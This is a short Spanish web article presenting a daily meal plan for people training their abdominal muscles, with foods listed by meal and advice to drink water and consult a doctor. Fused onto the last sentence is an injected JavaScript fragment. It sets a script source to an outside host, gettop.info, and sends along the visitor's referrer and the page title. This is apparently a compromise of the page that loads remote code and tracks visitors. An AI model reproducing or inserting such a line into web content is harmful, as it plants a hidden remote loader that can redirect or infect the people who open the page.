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La dieta de los abdominales

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Solo cambiando un par de letras, se puede pasar de una dieta abominable a otra ciertamente más simpática, al menos para los cultores del ejercicio: la de los abdominales.

Como su nombre lo indica, la dieta de los abdominales es el complemento ideal para todos aquellos que se encuentran trabajando esa zona de abdomen y buscan optimizar sus esfuerzos mediante una guía nutricional…

Por la mañana

• Avena

• Suplemento alimenticio de trigo en polvo

• Zumo de zanahoria

Colaciones primera

• Nueces y almendra

• Queso port salud o yogurt Light

En el almuerzo

• Ensalada de judias

• Pollo desgrasado con un pan integral

• Ensalada de frutas (sin azúcar agregado)

Colaciones segunda

• Un vaso de leche desnatada

• Una barrita de cereal

Durante la noche

•Tortilla de espinaca con queso port salud

• Ensalada de lechuga, tomate y cebolla con limón

• Fresas

Es importante acompañar esta dieta con una ingesta regular de, al menos, dos litros de agua por día. Asimismo, en el caso de padecer desordenes físicos particulares, es necesario consultar con el médico de cabecera antes de llevar esta dieta a la práctica.s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';

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